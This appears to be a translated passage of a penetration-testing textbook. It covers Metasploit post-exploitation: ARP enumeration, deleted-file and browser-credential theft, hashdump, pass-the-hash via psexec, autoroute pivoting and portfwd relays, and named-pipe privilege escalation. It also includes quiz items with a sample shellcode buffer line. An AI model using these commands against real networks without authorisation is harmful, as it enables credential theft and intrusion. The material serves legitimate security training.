我把执行你选择的 shellcode 的任务留给你。祝你好运!

总结

本章中,我们介绍了模糊测试作为一种测试方法论和漏洞研究工具。我们从通过网络进行变异模糊测试开始,测试 FTP 服务器对变异认证请求的处理。通过这些信息,我们开发了自动化模糊测试过程的 Python 脚本。在探索 Python 模糊测试时,我们建立了一个模糊测试服务器,向易受攻击的 FTP 客户端提供输入。通过这两个软件,目标是使其崩溃,并了解来自模糊测试器的哪些输入导致了崩溃。最后,我们从低级寄存器内存的角度审视这些崩溃。通过将 WinDbg 附加到易受攻击的进程并在崩溃后检查内存,我们实现了这一目标。通过 Metasploit 的偏移量发现工具,我们演示了如何利用调试和模糊测试编写精确的漏洞利用代码。

在下一章中,我们将深入探讨渗透测试的后期利用阶段,以便了解黑客如何将初步的立足点转变为大规模的系统入侵。

问题

请回答以下问题,测试你对本章内容的理解:

  1. 模糊测试是较为流行的攻击方式之一,因为它能够导致 shellcode 执行。(对 | 错)

  2. 在这个请求中,标识出模糊测试点范围 4 到 8:USER administrator

  3. Windows 崩溃转储中的 Exception Offset 值与 __________ 中找到的值相同。

  4. 请列出 Metasploit 中用于一起查找溢出中 EIP 偏移量的两个工具。

  5. 一名攻击者刚刚发现,如果执行流到达 0x04a755b1,他们的 NOP sled 将被触发并一直运行到他们的 Windows shellcode。易受攻击的缓冲区长 2,056 字节,shellcode 长 546 字节。他们使用以下代码行准备 shellcode:s = '\x90' * 1510 + buf + '\x04\xa7\x55\xb1'。为什么这个攻击注定会失败?

延伸阅读

若想了解更多关于本章内容的信息,请参考以下资源:

第三部分:后期利用

在本节中,我们将探讨在组织内初步立足之后的攻击阶段。我们将讨论如何从这个独特的视角进行侦察,以发现新的主机,利用已有的细节进行横向移动,并通过获取更高权限的账户进一步渗透到网络中。最后,我们将讨论如何保持对已攻陷资源的访问。

本书的这一部分包括以下章节:

  • 第十五章超越立足点

  • 第十六章提升权限

  • 第十七章保持访问权限

第十五章:超越立足点

在这颗我们称之为家的疯狂飞行的星球上,看到 Meterpreter 会话在发起漏洞利用后弹出,几乎没有什么比这更令人激动的了。有时,成功的入侵可能让你获得了域管理员权限,你几乎可以做任何事情;你可能直接登录到域内的其他系统,收集到被攻陷的计算机,并拿到上面的“战利品”。然而,更有可能的情况是,你只是成功地在由于防火墙和网络分割而只能在网络中看到的几台机器上执行了漏洞利用——你已经建立了一个立足点。立足点这个词借用了攀岩术语——它指的是你可以放置脚步的岩石表面位置,以确保你准备好进一步攀登。在渗透测试中,获得立足点意味着你找到了一个漏洞,可以用来推进自己,但攀登的挑战仍然在前方。

在这一章中,我们将做以下几件事:

  • 回顾如何利用立足点位置的概念和方法

  • 从我们的立足点位置开始进行枚举

  • 讨论如何通过网络进行跳板

  • 利用窃取的凭证进一步入侵目标网络中的系统

技术要求

本章的技术要求如下:

  • Kali Linux。

  • 一个有多个主机在不同局域网中的 Windows 环境是理想的。

收集“战利品”——使用后收集模块进行枚举

旨在将立足点转化为完全入侵的大型 Metasploit 模块家族被称为后模块。后模块有几种类型,其中有两个主要的子类别——收集管理。首先,让我们区分一下后管理模块和后收集模块:

  • 后管理模块是我称之为入侵管理工具的东西。换句话说,它们让我们管理已完成的入侵,主要是通过修改主机的功能。

  • 后收集模块顾名思义,就是帮助我们收集目标信息,为进一步入侵提供支持。突破初步的立足点将需要更多信息;对目标网络的完全渗透是一个迭代过程。不要指望在评估开始时只做一次侦察和足迹分析——在获得立足点后,你还会再次进行这些操作。

我们没有足够的篇幅深入探讨所有的后模块,但一旦突破了外壳,你总是需要进行一些枚举。你需要了解自己在网络中的位置以及所处的环境。因此,让我们通过使用收集模块来查看一些核心的枚举操作。

在我们的例子中,我们刚刚入侵了客户主办公网络中的一台 Windows 7 企业版机器,并且已经建立了 Meterpreter 会话。接下来,我们将发现这台机器有另一块网卡连接到了一个隐藏网络。稍后章节中,我们将查看这种情况并演示如何通过跳跃进入这个隐藏网络。现在,让我们来探索我们立足点 PC 的环境。

使用 Meterpreter 进行 ARP 枚举

一旦我们通过 Meterpreter 建立了连接,我们就控制了这台机器(至少是在有效载荷执行的用户上下文中,权限提升的部分稍后会讨论)。我们可以玩 Meterpreter 的一些有趣工具,或者干脆回归传统,使用命令行来玩。让我们启动 Windows 的 ipconfig。幸运的是,这个命令已经内置于 Meterpreter 中:

图 15.1 – Meterpreter 会话中的 ipconfig

图 15.1 – Meterpreter 会话中的 ipconfig

看这个——一个192.168.249.0/24的网络,这个网络在我们的 Kali 机器上不可见。如果你阅读了本书的早期章节,你应该已经深深迷上了 ARP,所以让我们来了解一下这个网络。只需将 arp 命令传递给 Meterpreter:

图 15.2 – Meterpreter 中的远程 ARP 表

图 15.2 – Meterpreter 中的远程 ARP 表

从外围进行的主机枚举相当有效。这里发生的事情是,Meterpreter 直接提取了主机的 ARP 表,而不是将数据发送到网络中去寻找其他目标;我们使用我们的立足点作为二层间谍,将信息报告给我们。如果在我们立足点的广播域中有计算机并通过 ARP 回复宣布了自己的存在,我们就能在这里得到它的 IP 地址和 MAC 地址映射。

警惕 ARP 反间谍

请记住,这个结果是我们立足点认为正确的映射。如果存在 ARP 欺骗,您看到的就是被污染的表。

让我们在实验室中分析这个结果。由于这是一个 ARP 表,它将包括诸如多播和广播地址等内容——这些可以忽略。对我们来说有趣的是,隐藏网络中还有另一台主机——192.168.249.154。现在我们有了进一步渗透的线索。我们稍后再关注这个问题——首先,让我们从我们的立足点 PC 上获取一些战利品。在我们从主机跳跃到主机时,这些可能会派上用场。

使用 Meterpreter 进行取证分析 – 偷取已删除的文件

电子数据的等效方式就像是把整个文档扔进垃圾桶,而不是通过十字切割 shredder 处理:将文件从你的电脑中删除。大多数 IT 人员知道,当你在 Windows 中删除一个文件时,操作系统只是将那个空间标记为可用。这比实际删除所有内容要高效得多,但这也意味着旧数据可能非常顽固。有已知的技术可以恢复已删除的文件,还有很多免费的工具可以做到这一点。Metasploit 将这个功能转化为一个友好的掠夺模块。

当你在与 Meterpreter 会话交互时,如果想返回 Metasploit 控制台,可以使用background命令将会话置于后台。然后你可以使用sessions命令列出你的 Meterpreter 会话,并使用-i标志与其中一个会话交互。在我们的实验环境中,到目前为止我只有一个会话,但在实际操作中,你可能有多个会话。这些模块可以像普通的利用程序一样从控制台设置,或者可以从 Meterpreter 内通过run命令调用——这绝对是一个很棒的功能,特别适合那些你已经完全知道自己想做什么的时刻。不过,在实际操作中,我们常常需要回顾 Metasploit 为我们提供了哪些模块以及它们提供了哪些选项。那么,让我们将会话置于后台,并尝试搜索我们需要的内容:一些取证工作。输入search type:post forensics并按Enter

图 15.3 – 搜索取证模块

图 15.3 – 搜索取证模块

search命令可以帮助我们将搜索范围缩小到特定的模块类型,而取证模块属于 post 模块的一部分。在设置了type参数后,我们只需提供搜索词forensics。我们想尝试一些已删除文件的枚举和恢复,因此让我们使用post/windows/gather/forensics/recovery_files,它在索引位置 1,使用use 1

图 15.4 – 配置已删除文件恢复模块

图 15.4 – 配置已删除文件恢复模块

你可以为TIMEOUT设置任何你喜欢的时间;默认是一个小时。如果你设置为0,那么它将一直运行,直到找到所有它能找到的内容。当然,这可能需要很长时间。输入run来开始:

图 15.5 – 已删除文件及其唯一 ID

图 15.5 – 已删除文件及其唯一 ID

如果你没有指定文件扩展名,模块将只会查找所有已删除的文件。请注意,每个文件都会获得一个唯一的 ID。模块中的FILES=选项可以用来指定扩展名或通过 ID 选择单个文件。我已经找到了一个我想恢复的文件,所以我再次运行命令,并在FILES参数中输入文件 ID:

图 15.6 – 恢复已删除文件

图 15.6 – 恢复已删除文件

扫描器再次运行该文件,匹配 ID,并将其丢进我的战利品袋里。在向高管展示一个包含机密数据的删除文档时,这将是你退出会议时的强有力声明。

Internet Explorer 枚举 – 发现内部 web 资源

我知道,我知道 – Internet Explorer?真的?虽然如今 Chrome 和 Firefox 都很流行,但你会惊讶地发现,Internet Explorer 在企业中的作用仍然不可忽视。没错,我特意提到的是 Internet Explorer 而不是 Edge。

企业通常在服务器和设备上运行应用程序,这些应用程序的管理员控制台通常通过浏览器访问。为什么它们很少为新浏览器进行优化?我不能确定;这取决于供应商。但认识到 Internet Explorer 的作用是很重要的。获取 Internet Explorer 历史记录、Cookies 和存储的凭据将使你能够枚举重要的内部资源,并为未来对它们的攻击提供信息。如果你获取了一些凭据,甚至可能能够登录。当你进行这些操作时,确保利用你在立足点处或更远处的位置 —— 这样,应用程序将看到来自熟悉客户端的登录。

在这种情况下,枚举也非常简单,没什么选项需要担心。只需在 Meterpreter 会话中执行 run post/windows/gather/enum_ie

图 15.7 – 从 Internet Explorer 中抢夺资源

图 15.7 – 从 Internet Explorer 中抢夺资源

尽管 IE 死死地坚持着,但你仍然可以从目标中抢夺现代浏览器的资源 —— post/windows/gather/forensics/browser_history 模块会寻找 Skype、Firefox 和 Chrome 的痕迹。

现在我们已经翻遍了我们的立足点系统的口袋,接下来让我们开始看看如何迈出下一步。

使用 Metasploit 进行网络跳跃

让我们回到章节的开始,回顾我们找到的那台双网卡 Windows 7 机器,看看一个现实世界中的立足点和跳跃场景。我们有有效的凭据,尽管我们只是从另一台机器上提取了密码哈希值。我们将通过 psexec 漏洞将其传递给目标。别担心,我们稍后会详细讨论 pass-the-hashPtH)攻击。目前,让我们先获取立足点:

图 15.8 – 配置带有捕获哈希值的 psexec 模块

图 15.8 – 配置带有捕获哈希值的 psexec 模块

我们的目标是 192.168.108.153,所以我们使用 set RHOSTS 192.168.108.153 配置目标。我们使用 set SMBPass 配置捕获的凭据,同时配置 set SMBUser。然后,通过 run 发起攻击:

图 15.9 – 在目标上运行 ipconfig 以查找额外的网络

图 15.9 – 在目标上运行 ipconfig 以查找额外的网络

随着我们的 Meterpreter 会话建立,魔法般的火花飞舞在空中。我做的第一件事是执行ipconfig,查看在链路层上可以看到哪些其他主机。立刻,我们可以看到一个额外的接口被分配了 IP 地址192.168.249.153,子网掩码为255.255.255.0。 bingo!我们已经攻陷了一台双网卡主机。

简单回顾一下子网划分

记住,IPv4 地址是 32 位长,分成四组,每组 8 位。使用 CIDR 表示法时,IP 地址后面跟着一个斜杠和一个数字,表示用于表示网络部分的位数;剩余的位数则分配给主机。因此,你总是可以从 32 中减去 CIDR 表示法结尾的数字,得到主机分配所需的位数。让我们来看几个例子。

192.168.105.0/24表示前 24 位标识网络。为了理解这一点,我们来看一下192.168.105.0的二进制形式:

11000000.10101000.01101001.00000000

在分配这个子网中的地址时,我们只需改变最后 8 位,最高值11111111为该子网的广播地址:

11000000.10101000.01101001.00000000
          Network           Hosts

从 CIDR 表示法计算子网掩码及其反向转换非常简单——将网络部分的位设置为全 1,主机部分的位设置为全 0。然后,将该值转换为 IP 地址,这就是你的子网掩码:

11111111.11111111.11111111.00000000
   255     255      255       0

这里有一个例子,10.14.140.0/19

11111111.11111111.11100000.00000000
   255     255      224       0

现在我们已经掌握了网络基础知识,接下来看看如何在我们发现的网络中构建路由,以便进行更深层次的枚举。

使用 autoroute 将 Metasploit 引入隐藏网络

在 Meterpreter 提示符下,输入run post/multi/manage/autoroute命令。你将看到主机的路由表被自动分析:

图 15.10 – 在 Meterpreter 会话中使用 autoroute

图 15.10 – 在 Meterpreter 会话中使用 autoroute

这为隐藏子网创建了一条路由,由我们控制的 Meterpreter 会话管理(我们称之为枢纽点):

图 15.11 – 枢纽的可视化表示

图 15.11 – 枢纽的可视化表示

输出结果有些平淡——但请记住,那个子网现在对于 Metasploit 来说就像你在局域网内一样。为了验证这个理论,我将尝试在隐藏网络中寻找 FTP 服务器。我使用background命令将 Meterpreter 会话放入后台,并跳转到辅助模块,使用use auxiliary/scanner/portscan/tcp来获取本地端口扫描器:

图 15.12 – 通过我们的路由进行端口扫描

图 15.12 – 通过我们的路由进行端口扫描

请注意,RHOSTS 可以使用子网,因此我设置了隐藏网络为 set RHOSTS 10.0.0.0/24。多线程可以加速扫描,但也可能压垮网络和/或产生大量噪音,因此在配置 set THREADS 时要小心。(提示:我不会在生产网络上使用 set THREADS 100,尤其是在千兆网络中。)当然,我只是寻找 FTP 服务,所以我配置了 set PORTS 21,但你也可以通过逗号添加更多端口或提供端口范围。这是一个辅助模块,所以我们用 run 来启动它:

图 15.13 – 通过我们新配置的路由完成端口扫描

图 15.13 – 通过我们新配置的路由完成端口扫描

我们在 192.168.249.154 上发现了端口 21 开放。请记住,你无法从 Kali 机器上看到这个主机;这个响应来自于在我们的 Windows 7 架设的跳板点上运行的 Meterpreter,它将流量路由到目标网络。这很不错,但有一件事还缺少——就是能够在 Metasploit 框架之外使用我们最喜爱的 Kali 工具,包括我们辛辛苦苦编写的 Python 脚本。我们需要的是端口转发机制。别担心,Meterpreter 听到了你的呼声。

让我们回到已建立的会话,使用 sessions -i 4-i 标志表示 交互,数字 4 指定了会话编号。当你深入某个网络时,可能会有一打 Meterpreter 会话在运行——这时,sessions 就是你的好帮手。不管怎样,让我们回到我们这唯一的会话,执行 portfwd -h

图 15.14 – 配置 portfwd

图 15.14 – 配置 portfwd

让我们按逻辑顺序仔细看一下这些选项,而不是按它们出现的顺序:

  • -R 是反向端口转发。我知道,我知道:怎么会有反向还可以转发? 这只是指定了建立路由时所采取的方向。为什么我们需要这个呢?在跳板场景中理解端口转发的简单方式是,你,作为攻击者,想要通过你的跳板点访问目标上的某个服务。然而,回想一下我们之前在自己的机器上托管有效载荷时的情况。我们可能希望将目标的请求通过跳板点转发给我们。这就是反向端口转发。

  • -L 指定了本地主机。除非在两种场景下,否则它是可选的——你在做反向端口转发,或者你的本地接口有多个地址且你需要流量通过特定的接口传递。请注意,如果你设置了这个选项,连接通过端口转发时必须使用此处指定的地址。

  • -l 指定了本地监听的端口。你将会把工具指向本地主机和此处指定的端口,以便通过目标端口访问目标。

  • -i 给你的端口转发路由分配一个索引。你难道认为我们一次只能有一个路由吗?我们可以对多个主机和端口进行多次端口转发。你会需要这些索引来跟上进度。

  • -p 是我们转发流量的远程端口。如果你正在利用反向端口转发,这里可能会有些混淆:该选项是要监听的远程端口。例如,一个有效负载可以配置为连接到端口9000的枢纽点。

  • -r 简单地是远程 IP 地址。

我使用portfwd add -L 192.168.108.211 -l 1066 -p 21 -r 192.168.249.154命令创建了中继。这告诉 Meterpreter 在端口1066上建立一个本地监听器,并将任何请求转发到端口21的目标上。简而言之,地址192.168.108.211:1066刚刚变成了192.168.249.154:21。Meterpreter 将确认设置:

图 15.15 – 新的端口转发中继已经运行

图 15.15 – 新的端口转发中继已经运行

继续指向这个代理的工具。为了确认访问权限,我尝试用 netcat 连接到本地监听器:

图 15.16 – 与枢纽点背后的服务交流

图 15.16 – 与枢纽点背后的服务交流

在这里,我们正在与我们的 Kali 框看不见的另一个子网上运行的服务进行交流。如果你刚刚完成了前一章节,那么你将会认出在这里运行的 FTP 服务是我们刚刚学会如何妥协的一个易受攻击的服务。通过你的立足点和建立的枢纽点,你现在已经有了一条通向目标网络中更深处的机器上交付 shellcode 的铺好的道路。

理解这个端口转发链末端的 FTP 服务器上的重要提示portfwd。查看我们运行 netstat 时 FTP 服务器上的情况:

图 15.17 – 在目标 FTP 服务器上运行 netstat

图 15.17 – 在目标 FTP 服务器上运行 netstat

那是你 Kali 框的 IP 地址吗?当然不是 – 那是我们已经妥协的 Meterpreter 主机。因此,我们可以利用信任关系绕过防火墙使用这种方法。既然我们到了这里,现在是时候利用这些新通道来进行一些进一步的攻击了。

升级你的枢纽 – 将攻击传递下去

让我给你描述一个场景。你已经从限制网络内部建立了立足点,成功接入了一台面向内部192.168.249.0/24网络的 Windows 7 企业版机器。你无法从当前位置看到该网络,因此你使用 Meterpreter 会话,通过 Windows 7 的转发点建立了路由。经过进一步侦察,你确认192.168.249.128正在运行 FTP 服务。然而,你无法从转发点连接到它。观察局域网后,你发现192.168.249.128192.168.249.130之间有流量传输,因此你怀疑这两台主机之间存在信任关系。你还经常看到 Windows 用户Phil,所以这可能是一个管理员账户,或者是用于设置这些主机的共享本地账户。

我已经尝试通过192.168.249.128:21使用portfwd进行转发,并尝试使用 Windows 7 的 FTP 客户端连接,但没有成功。有一个防火墙阻止了我们的流量。看起来从192.168.249.130进行尝试可能更有机会,但该主机位于隐藏网络中。这意味着我们需要利用我们的转发点来攻破我们当前立足点之外的主机。让我们来看看如何利用我们目前获取的信息进一步提升权限。

使用你捕获到的资源

在渗透测试中,你偶尔会做一些即兴的魔法。大多数时候,你会依赖简单且经过验证的方法,在企业中以小步伐向前推进。一个常见的技巧是重复使用你发现的凭证。我不在乎我是在某人键盘下找到密码(是的,有人还会这么做),还是在旁观某人登录银行出纳系统时看到密码——我总是知道这个密码会让我惊讶它能让我进入什么。让我给你讲几个实战故事来说明我的意思:

  • 曾经我在一次金融机构的评估中成功获得了域管理员权限。我提取了域中的所有哈希值,准备离线破解。我恢复的其中一个明文密码是BESAdmin账户的密码,这个账户与 BlackBerry Enterprise 相关。几周后,我来到一个完全不同的客户那里,但在评估过程中我注意到,他们的 IT 服务承包商与前一个客户使用的公司是同一家。我也在那里找到了BESAdmin账户。当我来到第三个使用同一承包商的客户时,我又发现了另一个BESAdmin账户,我尝试用恢复的密码登录,结果——成功了。一个通用密码的便利性让我能够有效地攻破使用该承包商的数十家公司中的域管理员账户。

  • 我曾在一家管理付费停车场结构的公司客户现场工作。在这些结构的入口处,有一台小型机器可以接受信用卡并打印票据和收据。所有这些 XP 嵌入式机器(总计约 100 台)每 5 分钟与一个 Microsoft SQL 数据库进行一次检查。你猜怎么着——它们使用具有特权的域账户进行身份验证。我能够降低身份验证等级,从而让破解工作仅用了 45 秒。这个密码不仅让我进入了数据库和所有的支付机器,还让我进入了域外的其他一些系统。

这两种情况都展示了一些不太安全的做法,但有趣的是,当我向 IT 人员展示我的发现时,大多数时候他们已经意识到这些做法的含义!他们觉得被过时的配置和顽固的管理困住了。我曾有 IT 管理员把我拉到一边,感谢我给了他们部署他们一直请求的防御层的弹药。我认为密码攻击非常重要,因为它们能为客户提供的整体价值非常大。

让我们回到我们的场景并描绘一个类似的攻击。我们将利用我们的支点凭证更深入地渗透到网络中。然而,这次我们没有时间破解密码。我们如何在不破解密码的情况下使用它?

别再拖延了,使用 Pass-the-Hash——利用 Windows 中的密码等价物

请记住,Windows 密码是特殊的(这次不是夸奖),因为它们没有加盐。如果我的密码是Phil,那么你找到的 NTLM 哈希值将始终是2D281E7302DD11AA5E9B5D9CB1D6704A。Windows 从不以任何可读的形式存储或传输密码;它只验证哈希值。这就有了一个明显的后果,它被Pass-the-HashPtH)攻击所利用。

为什么 Microsoft 决定不使用加盐?Microsoft 表示,由于其他安全措施的存在,加盐并不必要,但我想不出有哪个安全专家会同意这个说法。真正的原因可能与 Windows 设计中的那些反复出现的主题有关:向后兼容性和互操作性。盐值几乎就像是每个密码都有一个额外的密码,因此系统需要有安全交换这些数据的机制。这是一项艰巨的任务,但值得去做吗?加盐被认为是密码安全的最低防御层,而不是万灵药。

请查看以下账户名和 NTLM 哈希值。这些哈希值没有强大资源的话很难破解(祝你好运,读者!),所以知道实际密码并不是一个选项。我们可以从这些账户中知道什么?我们能推断出它们与其他账户的关系吗?

  • Administrator**: **5723BB80AB0FB9E9A477C4C090C05983

  • user**: **3D477F4EAA3D384F823E036E0B236343

  • updater**: **C4C537BADA97B2D64F82DBDC68804561

  • Jim-Bob**: **5723BB80AB0FB9E9A477C4C090C05983

  • Guest45D4E70573820A932CF1CAC1BE2866C2

  • Exchange7194830BD866352FD9EB0633B781A810

是的,鹰眼,Administrator密码与Jim-Bob密码完全相同。使用加盐哈希,我们无法仅凭一瞥就知道这个事实;但在 Windows 世界中,经过短短一刻的审查,我们知道Jim-Bob在他的个人账户和Administrator账户上使用相同的密码。因此,我们可以推断Jim-Bob是管理员。如果我们无法破解哈希值,这对我们有什么帮助呢?嗯,首先,现在我们知道,针对Jim-Bob进行其他密码攻击,如钓鱼或键盘记录,有很大机会获取至高无上的Administrator账户。让我们回到未加盐哈希的另一个后果:在 Windows 中,裸哈希是一个密码等效物,这意味着将哈希传递给认证机制与输入密码是完全相同的。

返回到您的 Meterpreter 会话,并确认您正在以SYSTEM身份运行;如果没有,请使用getsystem进行提权。接下来,我们将使用hashdump执行我们内置的哈希转储模块:

图 15.18 – 在 Meterpreter 会话中使用 hashdump

图 15.18 – 在 Meterpreter 会话中使用 hashdump

要获得对 Windows 的所有未经检查的访问权限,您需要以SYSTEM身份运行。getsystem是一个出色的提权模块,将尝试一些不同的经典技巧,如命名管道模拟和令牌克隆。我们将在第十六章中详细介绍这些内容,提权

hashdump模块会完成大部分工作,并将找到的所有内容整理得井井有条。我们将继续使用psexec来传递哈希。使用background命令将 Meterpreter 会话后台化,以便我们可以配置psexec模块。发出use exploit/windows/smb/psexec命令以获取模块,然后运行show options

现在,这里有两件事需要考虑:我们的RHOST和 Meterpreter 载荷类型。请记住,我们的目标192.168.249.130从我们的 Kali 系统中是不可见的,但我们已经通过autoroute模块建立了到目标子网的路由。Metasploit 将自动通过我们的枢纽点路由此攻击!也正因如此,我们将使用bind_tcp而不是连接回来,因为我们的 Kali 系统对目标不可见。

对于set SMBPass,请使用hashdump中的LM:NTLM格式。顺便说一句,您可以混合使用;例如,我们可以从前面示例中的Jim-Bob账户中获取哈希值,但将SMBUser设置为Administrator。这将简单地尝试将Jim-Bob的未知密码与Administrator账户匹配。在我们的情况下,我们正在尝试使用Phil账户。最后,使用exploit来执行:

图 15.19 – 绕过足迹获取哈希值

图 15.19 – 绕过足迹获取哈希值

现在我们有了两个精致的 Meterpreter 会话——会话 1 是通过我们的立足点进入隐藏网络,会话 2 是与我们怀疑与 FTP 服务器有信任关系的主机建立的。当您在实验室中进行测试时,可能习惯于只有一个 Meterpreter 会话;当您利用 Metasploit 的力量进行枢纽攻击时,请做好组织多个会话的准备。

让我们再次尝试老式的portfwd。通过在我们的第二个 Meterpreter 会话中建立它,流量实际上将来自受信主机:

图 15.20 – 通过被攻陷的受信主机进行的 netcat 会话

图 15.20 – 通过被攻陷的受信主机进行的 netcat 会话

就是这样——我们通过攻陷受信主机绕过了严格的防火墙。直接从我们的机器绕过控制并不难,只要留下一些证据指向会议室前门附近网络端口的 IP 地址即可。另一个完全不同的事情是,当源头是防火墙内的受信主机时,这意味着完全不同的潜力。想象一下,在我们逐步渗透时,如何将目标串联起来。

总结

本章介绍了在我们建立立足点后可以使用的一些选项。我们涵盖了初步的侦察和枚举,使我们能够从立足点跳转到网络的安全区域,包括在攻破双网卡主机后发现隐藏的网络,进行 ARP 扫描隐藏网络,以及收集敏感和已删除的数据。从那里,我们通过设置进入隐藏网络的路由并启用端口转发,使我们能够使用 Kali 工具与隐藏网络中的主机进行交互,进一步增强了对枢纽概念的理解。最后,我们通过利用枢纽主机上的凭证,攻破了防火墙内的计算机。

在下一章中,我们将探讨特权提升的强大功能:将我们微不足道的立足点转变为特权级的攻破,从而获得对关键资源的访问权限。结合本章的知识,您将为在目标环境中进行复杂的渗透做好准备。

问题

请回答以下问题,以检查您对本章内容的理解:

  1. 我刚刚与一台双网卡主机建立了 Meterpreter 会话,因此我配置并执行了portscan模块来搜索另一网络中的主机。我对扫描的状态感到好奇,于是我在我的机器上打开了 Wireshark。但没有看到任何扫描流量。怎么回事?

  2. 我刚刚在 Meterpreter 中发出了以下命令,但没有任何反应:execute -f ipconfig。为什么没有看到 ipconfig 的输出?

  3. 在 Meterpreter 中运行模块时,我不需要指定 ________,因为该命令仅发送到该系统。

  4. 对 Meterpreter ARP 扫描的深度数据包分析将揭示我们攻击的 Kali 主机的 IP 地址。(正确 | 错误)

  5. 在进行 Meterpreter 端口扫描时,使用较少的线程可以减少我们的流量触发 IDS 的风险。(正确 | 错误)

  6. 在配置 PtH 攻击时,必须指定盐值。(正确 | 错误)

  7. 我的 PtH 攻击有效,因为我看到了一个新的 Meterpreter 会话;然而,大约 2 秒后它就死掉了。我能做些什么来保持会话存活?

进一步阅读

要了解本章中涉及的主题的更多信息,请查看以下资源:

第十六章:提升权限

当我们考虑渗透任何系统时——无论是计算机系统还是物理访问某个建筑物——没有人在初次攻破时是城堡的主宰。这正是现实世界攻击如此隐蔽且难以检测的原因;攻击者从一个微不足道的位置开始,几乎没人察觉他们的存在。例如,考虑物理渗透一个安全建筑。经过几个月的研究,我终于能够悄悄复制清洁工的钥匙,并且他毫不知情。现在,我可以进入建筑外围的清洁工储藏室。我拥有这座建筑吗?不。我是否拥有一个能让我看到之前无法获得的视角的立足点?当然。也许管道和电缆穿过这个储藏室。也许这个储藏室紧邻一个安全房间。

权限提升的原理是利用我们低权限位置中的可用资源来提高我们的权限。这可能包括窃取属于高权限账户的访问权限,或利用漏洞欺骗系统执行某些以提升权限的操作。本章将从这两个角度进行探讨,涵盖以下主题:

  • 使用 Armitage 攀登权限阶梯

  • 使用 Metasploit 进行本地漏洞利用

  • 通过 WMIC 和 PS Empire 提升权限

  • 使用 vssadmin 攻击域控制器

技术要求

本章所需的内容如下:

  • Kali Linux

  • 在虚拟机上运行的 Windows 7 SP1

  • 配置为域控制器的 Windows Server 2012

使用 Armitage 攀登权限阶梯

权限提升如今是一个有趣的话题,因为我们手头的工具在后台做了很多事情。当我们使用 Metasploit 和 Armitage 前端时,很容易把系统的复杂性视为理所当然。例如,在 Meterpreter 会话中,我们可以执行 getsystem,通常在几秒钟内便能获得 SYSTEM 权限。为什么这一切如此轻松地完成?首先,我们将看一下 Windows 中的几个核心概念:命名管道和安全上下文。

命名管道与安全上下文

是的,你说得对;在这个上下文中,pipe一词与类 Unix 系统中的管道相关(并且正如我们在第九章《PowerShell 基础》一章中讨论的那样,它也与 PowerShell 中的管道相关)。我们操作过的管道是没有名字的,并且存在于 shell 中。另一方面,命名管道概念为管道赋予了一个名字,并通过有名字这一特性,它利用了文件系统,使得与它的交互就像与文件进行交互一样。记住我们管道的目的——将一个命令的输出作为输入传递给另一个命令。这是更简化的理解方式——在幕后,每个命令都会启动一个进程。所以,管道的作用是允许进程通过共享数据互相通信。这只是实现进程间通信IPC)的几种方法之一。因此,总结起来,命名管道是一个文件,进程可以与之交互以实现 IPC。

不要忘记我们在 Windows 安全性探索过程中一个持久的主题:微软总是喜欢按自己的方式做事。Windows 中的命名管道与 Unix 类系统中的概念有一些重要的区别。首先,在 Unix 中,命名管道可以超越进程的生命周期,而在 Windows 中,当最后一个引用它的对象消失时,它就会消失。Windows 的另一个特点是,尽管命名管道的工作方式与文件相似,但不能在文件系统中挂载。它们有自己的文件系统,并通过\\.\pipe\[name]进行引用。开发者可以使用一些函数来操作命名管道(例如,CreateFileWriteFileCloseHandle),但用户是看不见它们的。

在 Windows 中,有一些情况下,命名管道是对用户可见的。你,那个机智的高级用户,曾在使用 WinDbg 调试时看到了这个概念的运作。

让我们更深入地探讨一下在 Windows 中实现的这个概念。我之前举过一些使用命名管道的函数的例子。那些是管道客户端函数。命名管道的初始创建可以通过CreateNamedPipe函数来完成——这是一个管道服务器函数。命名管道的创建者是管道服务器,而附加到命名管道并使用它的应用程序是管道客户端。客户端连接到命名管道的服务器端,并使用CreateFileWriteFile与管道进行通信。尽管命名管道只能在本地创建,但也可以与远程命名管道进行交互。在命名管道路径中,句点被主机名替换,以便与远程管道进行通信:

图 16.1 – 命名管道的视觉表现

图 16.1 – 命名管道的视觉表现

服务器-客户端的术语并非偶然。管道服务器创建命名管道并处理管道客户端的请求。

假扮管道客户端的安全上下文

如果你对这个概念不熟悉,你可能看到了这一节的标题,并且想,哦,命名管道客户端冒充?我想知道接下来我们会安装什么黑客工具! 不是的。这是正常行为,是通过ImpersonateNamedPipeClient函数实现的。你作为安全专家可能会觉得,在 IPC 中允许安全上下文的冒充简直疯狂,但你作为软件设计师可能对最初的无辜逻辑很熟悉,这种逻辑允许更高效的架构。假设一个特权进程创建了一个命名管道。那么,你就有了一个情境,其中管道客户端请求由特权管道服务器读取和管理。冒充允许管道服务器在处理管道客户端请求时减少其特权。自然,允许冒充本身意味着具有较低特权的管道服务器可能会冒充特权管道客户端,并代表客户端做一些坏事。嗯,这可不行。幸运的是,管道客户端可以在CreateFile函数调用中设置标志,以限制这种冒充,但他们不一定需要这么做。通常会看到忽略这一步。

多余的管道和管道创建竞态条件

我知道你内心的黑客此刻在说什么:看起来整个命名管道服务器-客户端概念都依赖于命名管道存在且管道服务器可用这一假设。很棒的推理!一个进程完全可能在不知道管道服务器是否已经创建管道的情况下尝试连接到命名管道。服务器可能已经崩溃,或者服务器端根本没有被创建——无论如何,如果发生这种情况,就会出现一个独特的漏洞:管道客户端的安全上下文可以被一个仅仅创建了请求管道的进程夺走!在某些应用程序设计为不断请求命名管道,直到成功的情况下,这种情况很容易被利用。

类似的情况发生在恶意进程在合法进程有机会之前创建了一个命名管道——一种竞态条件。在类 Unix 系统中,命名管道也被称为FIFO,以其先进先出的结构命名。这几乎与管道的流动方式一致,所以这个名称很合适。不管怎样,在命名管道创建竞态条件中,FIFO 结构的一个后果是,第一个创建命名管道的管道服务器将获得第一个请求该管道的客户端。如果你知道某个特权管道客户端将会发起特定请求,攻击者只需要成为第一个排队的用户,从而篡夺客户端的安全上下文。

超越 Armitage 的立足点

现在我们已经了解了getsystem如何操作的理论背景,接下来让我们回到利用 Armitage 进行后期阶段。如果看起来我们有点跳跃,那是因为我认为了解工具背后发生的事情很重要,这样当工具为你去除障碍时,你能够理解。比如,Armitage 在你成功获得目标立足点后,会自动尝试进行权限升级。让我们来看看。

在这个场景中,我刚刚成功地从网络上嗅探到一个密码。这个密码正被一个我知道是服务器管理员的用户用在一个本地管理设备上,所以我凭直觉尝试向域控制器认证。遗憾的是,这种方法在现实世界中经常奏效,但它也是一个宝贵的培训机会。无论如何,在 Armitage 中,我定位到域控制器,右键点击图标并选择Login,然后选择psexec

图 16.2 – 在 Armitage 中传递哈希

图 16.2 – 在 Armitage 中传递哈希

